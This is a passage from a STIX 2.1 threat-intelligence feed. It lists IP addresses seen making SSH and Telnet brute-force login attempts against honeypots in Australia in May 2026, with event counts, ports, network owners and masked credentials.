      "id": "indicator--8fc6aa21-5f17-44bb-b969-031af130d69e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--54d8e446-4ada-4cc0-875b-08f2b186de4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.29.167.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e51e44bf-ea06-4dd9-bc79-ac6c6a024a87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.91.176.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V.. Usernames observed (masked): A*******************p, G************1, U************************************************************************). Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--5d7d5e3d-032f-4227-9383-bba7a8308a44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--31bb695a-50b5-48af-b87b-970006e46ce2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.108.106.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): c****e. Passwords observed (masked): c****e.",
      "id": "indicator--a6b5160d-61f5-43bb-a46c-bde8d874a8a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.248.51.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--c6733bbb-71fb-46be-a113-b502980701d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.254.128.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--521a1872-36b0-4a32-955f-e2a67d47b292",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.245.60.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1**********x, 1**********n, A**********#.",
      "id": "indicator--3eb1f58a-c4cc-4498-b858-278fdc65712e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.190.154.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--b4230ffb-5d82-4ac0-91bc-78c6d0d4b3c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '153.219.77.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7602. Organisation(s): Sai gon Postel Corporation. Usernames observed (masked): r**t. Passwords observed (masked): y****3.",
      "id": "indicator--f090125e-27a0-42f0-914c-d5b823a470f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.93.43.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--0e8dad16-5bc5-43ff-8ed3-2f0e2f699d56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.35.87.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 393960. Organisation(s): Host4Geeks LLC. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1*****3, 1******=, 1*****t.",
      "id": "indicator--889d49c0-46f7-4b20-a048-c32e75a075ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.221.216.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A..",
      "id": "indicator--29559fd3-5988-47c0-8647-b4d950eb7d5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.123.151.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--7889818e-f67a-4d32-8c2d-59d5d7309046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.33.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: LV. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): ***, m*****r, s**d, s*****t, s****m. Passwords observed (masked): O************Z, ***, m*****r, s**d, s*****t.",
      "id": "indicator--40a4775a-c22b-4a9e-910a-46dba02c315d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.28.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269820. Organisation(s): FULL DATA COMUNICACIONES C.A..",
      "id": "indicator--439f902b-2a03-4818-a0bf-0d4092cec0a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.43.254.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1**********x, 1**********n, A**********#.",
      "id": "indicator--874060dc-dd12-4d01-ad8a-a3a18989c521",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.96.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0724f7e5-0c55-4fb9-bcce-28856ef6f5a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f1381559-e52b-4710-b0c5-d53912475ca6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328471. Organisation(s): Hero-Telecoms.",
      "id": "indicator--588ce48c-851d-4b0b-bb2c-aed7c39580b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.95.11.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V.. Usernames observed (masked): A*******************p, G************1, U************************************************************************). Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--4c48a457-5f3e-4398-95fb-cc450942836f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T02:15:10.000Z",
      "valid_until": "2026-06-21T02:15:08.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a*****1, t*******k, z****0.",
      "id": "indicator--242183a8-1507-44e4-88ce-de852a412164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.24.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 1*****x, 1**********F, 3***********4, 3**********4, 7*****7.",
      "id": "indicator--a62daebb-ca65-416f-808a-1bee8679e8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.168.139.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9929b2ea-c16c-4d32-8b9e-06ee353f5fc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.163.51.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--a6e7a232-436c-4e7c-b59d-856ed823b8d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.104.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--1bd570e2-4b07-458e-97b5-82c0c416cdd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.88.165.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******4, 1**********6, 1****3.",
      "id": "indicator--c42beedb-1b87-4e37-9b99-d096522423d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.27.90.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--6226d3f3-0793-402e-b8ae-5c7b2fee2fe7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.87.108.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--e64f3900-767a-44d5-ae8f-d775dc169398",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.116.133.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--bfb18675-c3d6-49dc-8163-9745a43c8fd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.59.71.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--d254cab3-88f8-4df2-8b3c-d24a0574b219",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******4, 1**********6, 1****3.",
      "id": "indicator--591b6dfe-b386-4240-9408-9d15846d9ecf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.176.16.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******4, 1**********6, 1****3.",
      "id": "indicator--dc6017eb-85cd-473d-a05c-8609f92774c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.154.45.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--5b0681bc-2fde-47cc-a8b6-9f6edfb26fa9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.65.219.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--094005b2-b6fa-43d5-ba73-b477389aa2c1",
      "labels": [
        "bruteforce"
      ],
